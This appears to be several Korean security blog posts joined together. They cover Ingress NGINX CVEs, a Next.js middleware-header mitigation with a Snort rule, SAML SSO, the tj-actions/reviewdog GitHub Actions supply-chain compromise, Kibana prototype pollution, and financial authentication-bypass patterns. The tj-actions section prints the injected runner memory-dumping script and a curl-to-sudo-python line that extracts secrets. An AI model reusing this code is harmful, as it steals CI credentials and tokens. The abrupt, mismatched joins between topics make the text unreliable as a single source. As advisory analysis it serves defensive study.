- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4] -Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4] - Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]
2. 주요내용 [7]
- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음
> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능
- Admission Controller는 사용자의 요청을 변조(Mutate)와 검증(Validation)을 통해 요청의 승인 여부를 결정
> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능
※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경
※ 검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절
- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신
> AdmissionReview 구조로 통신
> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview요청을 전송할 수 있음
[사진 1] Admission Controller
- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성
> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트
> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음
[사진 2] nginx -t
2.1 취약점
2.1.1 CVE-2025-24514 [9]
- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행
> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함
> ngnix -t 명령을 실행할 때 명령에 포함되어 실행
2.1.2 CVE-2025-24513 [10]
- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능
> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능
2.1.3 CVE-2025-1097 [11]
- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증
> auth-tls-match-cn 주석은 CN=으로 시작
> 이를 통해 임의의 코드 실행이 가능
2.1.4 CVE-2025-1098 [12]
- mirror-target과 mirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음
> 이를 통해 임의의 코드 실행이 가능
2.1.5 CVE-2025-1974 [13]
- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]
제품명
영향받는 버전
해결 버전
Ingress NGINX Controller
1.11.0 미만
1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0
1.12.1
- 추가 모니터링 및 필터 적용
> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한
> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정
> Admission Controller 컴포넌트가 불필요할 경우 비활성화
> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치 > 수동으로 ingress-nginx를 설치한 경우
① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제
② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제
// Middleware to remove the x-middleware-subrequest header
app.use((req, res, next) => {
delete req.headers['x-middleware-subrequest'];
next();
});
- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정
- 탐지룰 설정
alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )
2.1 SAML (Security Assertion Markup Language) Single Sign-On(SSO)
- SAML : 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷
- SSO : 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술
[사진 3] 동작 과정 요약 [7]
단계
설명
서비스 요청
- 사용자가 서비스에 접근 > SP는 해당 유저의 인증 유무 확인 (Access Check)
SSO 서비스 이동
- 인증되지 않은 경우 SP는 SAMLRequest를 생성해 사용자에게 전송 > SP는 IDP는 직접 연결되지 않고, 사용자의 브라우저에서 SAMLRequest를 IDP로 리다이렉션
SSO 서비스 요청
- IDP는 SAMLRequest를 파싱하고 사용자 인증을 진행
SAML 응답
- 인증 성공 시 SAMLResponse를 생성하여 사용자의 브라우저로 전송 > SAMLResponse에는 SAMLAssertion (사용자의 인증 정보를 포함한 XML 문서)이 포함 > IDP는 웹 브라우저에 Session Cokkie를 설정하고 해당 정보는 브라우저에 캐싱
SAML 응답 전송
- 사용자는 SP의 ACS로 SAMLResponse를 POST
서비스 응답
- ACS는 SAMLResponse를 검증하고 유효한 경우 요청한 서비스로 사용자를 포워딩
- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]
> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작
> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음
[사진 1] 공급망 공격 과정 요약
- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]
> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드
> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]
[사진 2] install.sh에 Hardcoded된 악성 코드
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read(): # Runner.Worker가 포함된 프로세스인지 확인
return pid
except IOError:
continue
# 해당 프로세스가 없으면 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
# Runner.Worker 프로세스의 PID 찾기
pid = get_pid()
print(pid)
# 해당 프로세스의 maps과 mem 파일 경로 지정
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
# map 파일 및 mem 파일 읽기
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
# 메모리 매핑된 각 영역을 한 줄씩 읽음
for line in map_f.readlines():
# 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
# 읽기 권한이 있는 영역만 대상
if m and m.group(3) == 'r':
start = int(m.group(1), 16) # 시작 주소
end = int(m.group(2), 16) # 끝 주소
# 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
if start > sys.maxsize:
continue
# 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
mem_f.seek(start)
try:
# 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
chunk = mem_f.read(end - start)
sys.stdout.buffer.write(chunk)
except OSError:
# 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
continue
- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨
> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입
> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드
> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]
[사진 3] 삽입된 함수
# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력
#!/usr/bin/env python3
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
# Runner.Worker가 포함된 프로세스인지 확인
if b'Runner.Worker' in cmdline_f.read():
# 찾으면 해당 PID 반환
return pid
except IOError:
# 접근 불가한 PID는 무시
continue
# 찾지 못할 경우 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid() # 대상 프로세스 PID 획득
print(pid) # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)
map_path = f"/proc/{pid}/maps" # 메모리 매핑 정보 파일
mem_path = f"/proc/{pid}/mem" # 실제 메모리 접근 파일
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # 매핑된 메모리 영역 하나씩 확인
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) # 시작-끝 주소, 권한 파싱
if m and m.group(3) == 'r': # 읽기 권한(r)이 있는 영역만
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if start > sys.maxsize: # 64비트 환경에서 처리 불가한 주소 방지
continue
mem_f.seek(start) # 메모리 영역 시작점으로 이동
try:
chunk = mem_f.read(end - start) # 해당 메모리 영역 읽기
sys.stdout.buffer.write(chunk) # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
except OSError:
# 일부 보호된 메모리 영역 접근 불가 → 무시
continue
[사진 4] tj-actions/changed-files 침해 요약
3. 대응방안
① Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)
- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]
> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체
> 또는 사용 중단
② Action 워크플로 실행 로그 감사
- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인
> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것
[사진 5] 악성코드가 실행된 경우의 예시
③ 관련된 비밀 정보 모두 변경
- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체
④ GitHub Actions 버전 고정 : 커밋 해시로 고정
- 특정 커밋 해시를 사용해 버전 고정
⑤ GitHub 허용 목록 기능 활용
- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성
⑥ Reviewdog 의존 Action 점검
- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요 > reviewdog/action-shellcheck > reviewdog/action-composite-template > reviewdog/action-staticcheck > reviewdog/action-ast-grep > reviewdog/action-typos
- Elasticsearch에 저장된 데이터를 쉽게 시각화하고 탐색 및 분석할 수 있는 웹 인터페이스를 제공
- 사용자가 Elasticsearch에 쿼리를 실행하고, 결과를 시각화(Discover, Visualize, Dashboard, Canvas, Maps 등)하여 분석할 수 있도록 도와줌
[사진 1] Kibana 예시
1.1 ELK
- Elasticsearch, Logstash, Kibana의 조합으로, 데이터 수집 및 분석을 위한 오픈 소스 솔루션 [2]
> Beats : 데이터 수집 담당
※ 데이터를 안정적으로 버퍼링하고 전달하기 위해 Redis, Kafka, RabbitMQ 등과 같이 사용할 수 있음
>Logstash : 다양한 소스에서 데이터를 수집 및 변환하며, 다른 저장소에 전달하는 데이터 처리 파이프 라인 도구
> Elasticsearch : 실시간 분산형 검색 엔진으로 데이터 검색 및 분석을 위해 사용되고, 대규모 데이터를 저장하고 실시간으로 검색할 수 있도록 설계
> Kibana : Elasticsearch에서 저장된 데이터를 시각화하고 분석하는 데 사용
[사진 2] ELK
2. CVE-2025-25015
[사진 3] CVE-2025-25015 [3]
- Prototype Pollution (프로토타입 오염)을 통한 Kibana 임의 코드 실행 취약점 (CVSS : 9.9)
> 조작된 파일 업로드와 조작된 HTTP 요청을 통해 임의의 코드를 실행할 수 있음
※ Elastic Cloud에서 실행되는 Kibana 인스턴스에만 영향을 미침
※ 코드 실행은 Kibana Docker 컨테이너 내에서 제한되며 컨테이너 이스케이프와 같은 추가 악용은 seccomp-bpf 및 AppArmor 프로필에 의해 방지
영향받는 버전 Kibana 8.15.0 이상 ~ 8.17.3 미만 ※ 8.15.0 <= Kibana < 8.17.1 : Viewer 역할을 가진 사용자만 취약점을 악용할 수 있음 ※ Kibana 8.17.1 및 8.17.2 : "fleet-all, integrations-all, actions:execute-advanced-connectors" 권한을 모두 가지는 사용자만 취약점을 악용할 수 있음
- 벤더사 제공 최신 보안 업데이트 적용 [4][5]
제품명
영향받는 버전
해결 버전
Kibana
8.15.0 이상 ~ 8.17.3 미만
8.17.3
- 즉시 업데이트가 불가한 경우 권고
> Kibana 설정파일 (kibana.yml)에서 Integration Assistant 기능 플래그를 false(xpack.integration_assistant.enabled: false)로 설정
2.1 Prototype Pollution (프로토타입 오염) [6][7]
- JavaScript 런타임을 대상으로 하는 주입 공격으로, 공격자는 이를 악용해 객체 속성의 기본값을 제어할 수 있음
> 애플리케이션의 논리를 조작할 수 있으며, 서비스 거부 또는 원격 코드 실행으로 이어질 수 있음
- JavaScript는 프로토타입 기반 객체 지향 프로그래밍 언어
> 프로토타입 (Prototype)이란 JavaScript에서 객체가 다른 객체의 속성과 메서드를 상속받을 수 있도록 하는 메커니즘
> 프로토타입 기반 언어이므로, 객체는 다른 객체를 원형 (Prototype)으로 삼아 속성과 메서드를 공유할 수 있음
> 주요 특징
① 모든 객체는 프로토타입을 가짐 : 객체가 생성될 때, 해당 객체는 자동으로 다른 객체(프로토타입)를 참조하게 됨
② 객체는 프로토타입을 통해 다른 객체의 속성과 메서드를 상속 : 프로토타입을 활용하면 객체지향 프로그래밍의 상속 기능을 구현할 수 있음
③ 프로토타입은 체인 (Prototype Chain)으로 연결 : 어떤 객체에서 속성을 찾을 때, 해당 객체에 없으면 프로토타입을 따라가면서 검색
- 프로토타입은 체인 (Prototype Chain)
> 객체가 속성을 검색할 때, 자신의 프로퍼티에서 찾지 못하면 프로토타입을 따라가며 탐색하는 구조
> 모든 객체는 Object.prototype을 최상위 프로토타입으로 가지며, 이를 따라가면서 상속됨
> 속성을 찾아 상위 프로토타입을 따라 최종적으로 Object.prototype까지 도달하면 (상위 프로토타입에서도 속성을 찾지못한 경우) undefined 반환
> child에는 familyName 속성이 없지만, 프로토타입 체인을 따라 (parent > grandparent) familyName 속성을 찾음
- 공격자는 JavaScript의 프로토타입을 조작해 모든 객체에 악성 속성을 추가할 수 있음
> Object.prototype을 변경하면 모든 객체에 영향을 줄 수 있음
> __proto__, prototype 등의 속성을 사용해 Object.prototype을 변경할 수 있음
// 프로토타입 오염 전 상태 확인
console.log("프로토타입 오염 전 Object.prototype:");
console.log(Object.prototype.isAdmin); // undefined
// 프로토타입 오염 공격
Object.prototype.isAdmin = true; // true로 설정
// 프로토타입 오염 후 Object.prototype 상태 확인
console.log("\n프로토타입 오염 후 Object.prototype:");
console.log(Object.prototype.isAdmin); // true
// 프로토타입 오염 후 객체 생성 및 속성 확인
let obj = {};
console.log("\n오염된 프로토타입을 상속받은 객체:");
console.log(obj.isAdmin); // true
[사진 5] 오염 전 후 비교 [8]
2.2 대응 방안
① 사용자 입력 값 검증
> Object.prototype, proto 등 특정한 키워드를 필터링하고 안전한 데이터만 허용하도록 검증
② Object.create(null) 사용
> 프로토타입이 없는 객체를 생성 즉, Object.prototype을 상속받지 않으므로 프로토타입 오염 공격의 영향을 받지 않음
③ Object.freeze() 또는 Object.seal() 사용
> Object.freeze() : 객체의 변경을 막는 함수_객체의 속성 추가, 수정, 삭제를 할 수 없음
> Object.seal() : 객체의 변경을 막는 함수_ 객체의 속성추가, 수정, 삭제를 할 수 없음, 단, 쓰기 가능한 속성의 값은 변경 가능
- 스마트폰을 통한 비대면 금융 서비스의 특성상, 금융 서비스를 이용하는 주체가 실제 권한을 가진 주체인지 확인하는 것이 매우 중요
- 인증 수단 자체에 대한 보안성은 확보했더라도, 인증 절차의 검증이나 절차 간의 연계에 대한 보안성 확보 등은 강구해나가야 할 과제
- 최근 이러한 인증 수단 및 절차의 허점을 이용한 금융 서비스의 명의 도용 및 인증 우회 피해 사례가 증가해 인증 서비의 보안이 더욱 중요
- 금보원은 간편 비밀번호·생체인증 등 다양한 금융 인증 체계를 해커의 관점에서 심층 분석한 ‘레드아이리스 인사이트 리포트 : Campaign Poltergeist’를 발간 [1]
※ 내용의 민감성을 고려하여 요약본 게시
2. 주요 내용
- 인증 수단 자체의 보안성이 강화되었더라도, 인증 절차의 설계와 구현 과정의 미흡함은 공격자에게 취약점을 노출하는 원인이 됨
2.1 인증 수단 및 절차 분석
- 서비스 이용 주체의 명의를 확인하는 데 사용되는 인증 수단의 분류
분류
인증 수단 및 설명
지식 기반
- 인증 요청자의 지식으로써 알고 있는 정보를 통해 인증을 수행 - 별도 절차 없이 지식과 기억에 의존하여 인증하므로 간편하게 인증 절차를 수행 가능 - 인증 정보를 잊어버린 경우를 대비한 재발급 절차 마련 및 안전한 인증 절차를 거치도록 해야 함 > ID/PW, 거래비밀번호, 계좌비밀번호, 문답식, 패턴 등
소지 기반
- 인증 요청자가 보유하고 있는 매체나 기기를 황용하여 인증을 수행 - 지식 기반 인증 비밀번호가 유출되어도 소지 기반 인증을 2-Factor 인증 수단으로 활용해 보다 안전한 설계 가능 - 단말이나 매체를 분실할 수 있으므로 안전한 재발급 및 재등록 절차를 마련해야 함 > SMS/ARS, 이메일, OTP(One-Time-Password)/M-OTP(Mobile-OTP), 비대면 실명인증(신분증 인증), 타행/타사 계좌 인증(1원 인증), 앱 기반 인증, 생체인증 등
지식 기반 + 소지 기반
- 보유한 지식과 매체 모두를 동시에 활용하여 인증하는 방식 - 둘 중 하나만 유출되었을 때 공격자가 인증 과정을 우회할 수 없도록 더 안전한 인증 과정 설계 가능 - 망각이나 분실에 대비하여 안전한 재발급/재등록 절차를 마련해야 함 > 공동인증서, 민간인증서, 기기 종속 인증(간편인증서), 신용카드 인증
- 인증 절차 분석
> 인증 수단 자체가 가지는 안정성도 중요하나, 이를 어떻게 절차적으로 설계하고 구현하는지가 취약점을 결정짓는 핵심 요소
[사진 1] 인증 절차 요약
인증 절차 단계
설명
인증 정보 획득
- 사용자가 인증을 위해 필요한 정보를 획득하는 단계
인증 정보 요청
- 사용자가 획득한 인증 정보를 인증 기관이나 인증 요청 기관에 전달하는 단계 - 인증 정보의 성격에 따라 네트워크 구간 암호화와 함께 종단간 암호화(E2E Enctyption)을 적용해 전달
외부 기관 인증
- "인증 정보 요청 단계 이전"이나 "인증 정보 검증 단계"에서 클라이언트나 서버가 외부 기관을 통해 인증을 수행하는 단계 - 인증 정보를 외부 기관에 전달하여 응답으로 받은 값을 가져오고, 해당 값을 통해 인증 절차의 정상 수행 여부를 판단 > 외부 기관을 통해 인증을 수행할 때는 금융 기관이 직접 구현하지 않고 외부 기관이 제공하는 코드, 모듈, API 등을 활용 > 인증 절차를 구현해야 하는 플랫폼별 언어가 다양해 외부 기관 인증의 구현체 코드를 각 언어에 맞춰 구현해야 하는 부담
인증 정보 검증
- 사용자가 전달한 인증 정보에 해당하는 주체와 서비스를 요청한 주체의 일치 여부를 검증
인증 결과 응답 및 서비스 요청
- 서버에서 처리한 인증 결과를 사용자에게 전달하는 단계 > 인증 결과값을 받아 다음 인증 단계 또는 서비스 이용을 위한 요청을 전송 > 인증 결과값은 프록시 도구로 변조가 가능하므로 인증 결과의 클라이언트단 검증은 신뢰해선 안됨
2.2 인증 우회 취약점 분석
- 인증 절차는 일반적으로 인증 정보 획득, 요청, 검증, 응답 및 서비스 요청 단계로 구성
> 인증 요청자는 클라이언트, 인증 검증자는 서버로써 인증 정보를 주고 받으며 전체적인 인증 절차를 수행
> 외부 기관과 연계하여 인증을 수행하는 경우, 인증 정보 획득, 검증 단계에서 클라이언트 혹은 서버가 외부 기관과 통신하여 인증 절차를 진행
인증 절차 단계
취약점 명
설명
인증 정보 획득
공격자 명의 인증 수단으로 인증 수행 (인증 정보 획득 시)
- 인증 절차 수행을 위한 서비스가 완전히 모듈화되어 있고, 인증 절차 진행을 위해 사용자 정보를 웹 요청(Request) 파라미터를 통해 받는 경우 > 인증 절차 진행을 위한 사용자 정보를 공격자 명의로 변조하여 인증 절차를 진행할 수 있음 > 인증 절차가 정상적으로 진행됐는지 유효성만 판단하는 경우 사용자 명의가 다르더라도 인증 절차를 통과되었다고 간주하여 인증 결과가 정상으로 반환되는 것을 악용 가능
타 사용자 인증 정보 획득
- OSINT 활용, 기유출된 인증 정보 등을 통해 타 사용자의 인증 정보를 획득할 수 있는 공격 > 인증에 사용되는 여러 인증 정보는 여러 인증 수단에서 공통적으로 사용되는 경우가 많음 > 또한, 그 값이 변하지 않는 경우가 많기 때문에 인증 정보를 획득함으로써 다른 모든 인증 우회 공격 시나리오의 시작이 되는 경우가 많음
피해자 명의 인증 수단 임의 발급/등록/변경
- 인증에 필요한 지식 정보, 인증 매체 등을 피해자의 의사와 관계없이 공격자가 임의로 발급/등록/변경할 수 있는 공격 > 다른 취약점이나 공격으로 획득한 피해자 정보를 통해 정상적인 절차를 밟아 인증 수단을 발급/등록/변경 > 인증 수단 외에도 회원 정보에 등록된 이메일, 휴대전화 등을 공격자 명의로 변경하여 해당 수단을 이용하는 인증 절차 우회 가능
인증 정보 획득시 응답값에 인증 정보 노출
- 서버로부터 인증 정보 획득을 위한 요청 응답값에 인증 정보가 노출되어 공격에 악용 > 구현상의 실수로 인증 정보 그 자체를 응답으로 넘겨주는 경우가 있음
인증 정보 요청
공격자 명의 인증 수단으로 인증 수행 (인증 정보 요청 시)
- 처음 인증 정보 요청은 피해자 명의로 했으나, 실제 인증 정보를 서버에 전달할 때 공격자 명의 인증 수단으로 진행하는 공격 방식 > 인증 정보를 보낼 때 인증 수단에 대한 정보를 함께 보낸다면 그 정보를 공격자 명의로 변조하거나 공격자 명의의 인증 정보를 보냄 > 모듈화 된 인증 서비스로 인해 본 서비스 요청 처리 전 인증 수행 및 명의 검증 절차가 정확히 지켜지지 않아 발생하는 취약점
인증 정보 변조 및 생성
- 인증 수단을 통해 획득한 인증 정보를 공격자가 유추할 수 있거나 생성해낼 수 있는 경우, 인증의 정상 수행 여부와 상관 없이 인증 정보를 요청할 때 정보를 변조 또는 생성하여 서버를 속일 수 있음 > 인증 결과를 서버에서 검증/처리하지 않고, 클라이언트 단에서 인증 정보 검증 결과를 받아 그 결과를 다시 서버에 요청하고 인증의 정상 수행 여부를 처리하는 경우 발생 가능
테스트 페이지/테스트 파라미터를 통한 인증
- 테스트 용도로 만들어 둔 페이지나, 특수한 파라미터를 받았을 때 어떤 인증 요청이 와도 항상 정상적으로 인증된 것처럼 인식하는것을 악용 > 개발/테스트 시 복잡한 인증 절차를 모두 수행하기 어려워 항상 인증 절차를 통과하도록 만들어 둔 테스트 인증 절차가 배포 과정에서 운영 코드에 들어가 발생
외부 기관 인증
클라이언트 단에서 외부 기관 인증 정보 검증
- 외부 기관 인증 요청 및 결과에 대한 검증을 서버에서 수행하지 않고 클라이언트 단에서 수행할 때 발생 > 공격자는 앱 변조, 응답값 변조, 결과 변도 증을 통해 인증 절차를 우회할 수 있음 > 서버단에서의 인증 절차 수행 여부 검증이 없기 때문에, 단순히 최종 서비스 요청 패킷을 변조하여 전송하는 것만으로도 목적을 이룰 수 있음
외부 기관 접근 권한 획득
- 인증 절차에 사용되는 외부 기관의 접근 권한이 탈취되었을 때 발생하는 취약점 > 슈퍼앱(여러 금융 계열사의 서비스를 하나의 앱으로 서비스)을 운영하는 금융기관이 늘어남에 따라, 앱 내 법인이 다른 동일 그룹 계열사 기관을 지정하여 타행/타사 계좌 인증을 우회할 수 있음
취약한 인증 결과 응답값 오용
- 외부 기관으로 부터 인증을 수행하고 전달 받은 결과값이 단순히 인증 결과만을 반환하거나 변조/생성될 수 있는 값일 경우 인증 우회에 사용할 수 있음 > CI 값의 경우 DI 값과 달리 사용자별로 변하지 않는 고유한 값이기 때문에 다른 기관에서 CI 값이 유출되었을 시 이를 이용해 인증 절차를 우회할 수 있음 ※ CI(Connecting Information, 연결 정보) : 특정 개인을 고유하게 식별할 수 있도록 연결하는 정보 ※ DI(Duplicated Information, 중복 정보) : 특정 서비스 또는 기관에서 동일한 사용자가 중복 가입하는 것을 방지하기 위해 활용하는 정보
인증 정보 검증
인증 절차 정상 수행 여부 미검증
- 하나 혹은 여러 인증 수단의 각 절차가 정상적으로 진행되지 않았을 때 서버에서 인증 절차의 정상 수행 여부를 검증하지 않는다면 인증 절차와 관계 없이 공격자가 요청한 서비스가 정상 처리 될 수 있음 > 여러 인증 수단을 복합적으로 사용하는 경우 각 인증 수단에 따른 인증 절차가 정상적으로 진행되었는지, 각 절차별로 결과에 대해 서버에서 상태(State)를 관리하여야 함
인증 정보 검증의 잘못된 예외 처리
- 인증 정보 검증 시 발생한 에러에 대한 예외 처리 구현이 잘못되었을 경우 오류가 발생했음에도 서비스는 정상 처리되는 등의 문제가 발생할 수 있음 > 타 사용자로 로그인 되는 등 인증 관련 보안 사고가 발생할 수 있으므로, 인증 관련 구문의 예외 처리 구현을 견고히하여야 함
인증 정보 검증 오류 횟수 미제한
- 오류횟수 제한을 두지 않았을 경우, 무작위 대입 공격을 통해 공격자가 비밀번호를 추측해 알아낼 수 있음 > 계좌 비밀번호, 거래 비밀번호, 카드 유효기간, 카드 비밀번호, 카드 CVC 번호 등은 금융 거래에 핵심이 되는 지식 정보이지만 복잡성이 낮은 정보들이 많기 때문에 오류횟수 미제한은 심각한 결과를 초래할 수 있음
인증 결과 응답
공격자 명의 인증 수단으로 인증 수행 (인증 결과 응답 이후)
- 인증 절차를 공격자 명의의 인증 수단으로 진행하고 인증 결과 응답에 포함된 공격자 명의의 정보를 피해자 명의의 인증 정보로 변조 > 클라이언트에서 변조된 정보가 자동으로 서명 및 암호화 과정에 사용되어 인증 우회가 용이함 > 서버는 정상적인 인증 응답으로 인식하기 때문에 보안 검증을 우회할 수 있음
인증 결과 응답값을 정상 응답값으로 변조
- 인증 결과 응답값을 정상 응답값으로 변조하여 클라이언트에선 마치 인증이 완료된 것처럼 인식되게 하고 인증 절차의 다음 단계로 넘어갈 수 있음 > 응답값을 변조한 것이기에 서버단에서의 검증에는 영향 없음 > 공격자가 요청시마다 일일히 공격자 명의 인증 정보를 피해자 명의 인증 정보로 변조하지 않아도 되기 때문에 공격 난이도와 복잡성을 낮출 수 있는 방법
2.3 Campaign Poltergeist
- 인증 우회 취약점의 연계를 통해 타 사용자의 계정 권한을 탈취, 추가 공격을 감행
> 마치 다른사람이 된 것처럼 인증 수단들을 발급하고 금융 서비스를 이용
구분
설명
Simple Path
- 간편함이 핵심인 모바일 뱅킹 환경에서 사용자 편의성과 접근성을 위해 인증 수단들은 간편화되기 시작 > 6자리 간편 비밀번호, 생체기반 인증, 간편인증서 등이 도입 > 간편 인증정보들이 탈취되었을 경우 그 위험성 또한 몇 배로 증가
Shadow Twin
- M-OTP, 공동인증서, API를 사용해 계좌 이체, 대출 등을 수행할 수 있음 > 간편 인증서 탈취 후 여러 인증 수단과 절차를 우회하거나 발급받아 금전적 피해가 발생할 수 있음 > 피해자의 모든 인증 수단과 권한을 공격자가 얻게 됨
Spectral Vault
- 비대면 금융 서비스의 등장으로 명의 도용 등으로 대포통장과 사기계좌로 이용될 수 있음 > 계좌 개설 프로세스는 사기 등의 범죄 조직들의 악용을 막기위해 강력한 인증 절차를 갖춤 > 인증 우회 취약점의 연계를 통해 계좌 개설 프로세스에 사용되는 인증 절차를 모두 우회해 계좌 개설이 가능
[사진 2] Campaign Poltergeist 요약
2.4 근본 원인
① 여러 인증 수단의 복합적 사용
- 각 인증 수단 결과를 서버에 기록 및 검증하는 절차 역시 복잡해져 구현 실수 발생
- 하나의 인증 수단이 우회되거나 공격자가 임의로 발급받을 수 있다면 다른 인증 수단의 발급/등록 과정을 연쇄적으로 우회될 수 있음
② 복잡한 외부 인증 기관과의 연계
- 여러 인증 수단의 구현을 위해 금융사 자체적으로 모든 인증 서비스를 구현 및 운영할 수 없어 외부 인증 기관과 연계
- 클라이언트가 서버로 전달한 외부 인증기관 인증 결과의 정상 여부, 명의 일치 여부 등의 확인 과정이 복잡해짐
③ 인증 서비스 코드 통합 및 유지보수의 어려움
